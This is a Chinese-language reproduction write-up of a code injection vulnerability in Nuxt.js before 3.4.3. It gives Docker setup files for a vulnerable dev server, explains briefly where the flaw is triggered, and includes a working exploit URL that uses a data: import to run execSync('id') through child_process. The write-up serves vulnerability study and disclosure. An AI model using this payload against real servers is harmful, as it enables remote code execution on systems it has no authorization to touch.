漏洞简介
Nuxt 是一个免费的开源框架,它以一种直观的、可扩展的方式,用Vue.js创建类型安全、性能良好和生产级的全栈Web应用程序和网站。Nuxt.js(简称 Nuxt)是一个基于 Vue.js 的通用应用框架,用于构建服务端渲染的应用程序(SSR)和静态生成的网站。
Nuxt.js 3.4.3之前版本中的 test-component-wrapper 组件的动态导入函数存在代码注入漏洞,当服务器在开发模式下运行且Node.js的版本为 12+ 时,攻击者可以利用 EMCAScript 的 'data: import' 功能导入恶意载荷,进而远程执行恶意代码。
环境搭建
不断尝试出错,最后成功编写了 docker 文件
FROM node:18
# 设置工作目录
WORKDIR /app
COPY package.json ./
RUN npm init -y
RUN npm install -g npm
RUN npm install
RUN npm install -g nuxt@3.4.0
# 暴露 Nuxt.js 默认端口(3000)
EXPOSE 3000
# 启动开发者模式
CMD ["npx", "nuxi", "dev"]
version: '3'
services:
app:
build:
context: .
dockerfile: Dockerfile
ports:
- 3000:3000
{
"name": "my-nuxt-project",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "nuxt"
},
"dependencies": {
"nuxt": "3.4.0"
}
}
漏洞复现
http://localhost:3000/__nuxt_component_test__/?path=data%3atext/javascript,console.log(%22test!%22);
http://localhost:3000/__nuxt_component_test__/?path=data%3atext/javascript,throw%20new%20Error((await%20import(%27child_process%27)).execSync(%27id%27));
漏洞浅析
漏洞的触发点在 packages/nuxt/src/app/components/nuxt-root.vue
当服务器以 dev 模式运行,请求的 url 以 /__nuxt_component_test__/
开头时,会引入 #build/test-component-wrapper.mjs
,会根据 query 中的 path 截取然后引入,导致任意代码执行。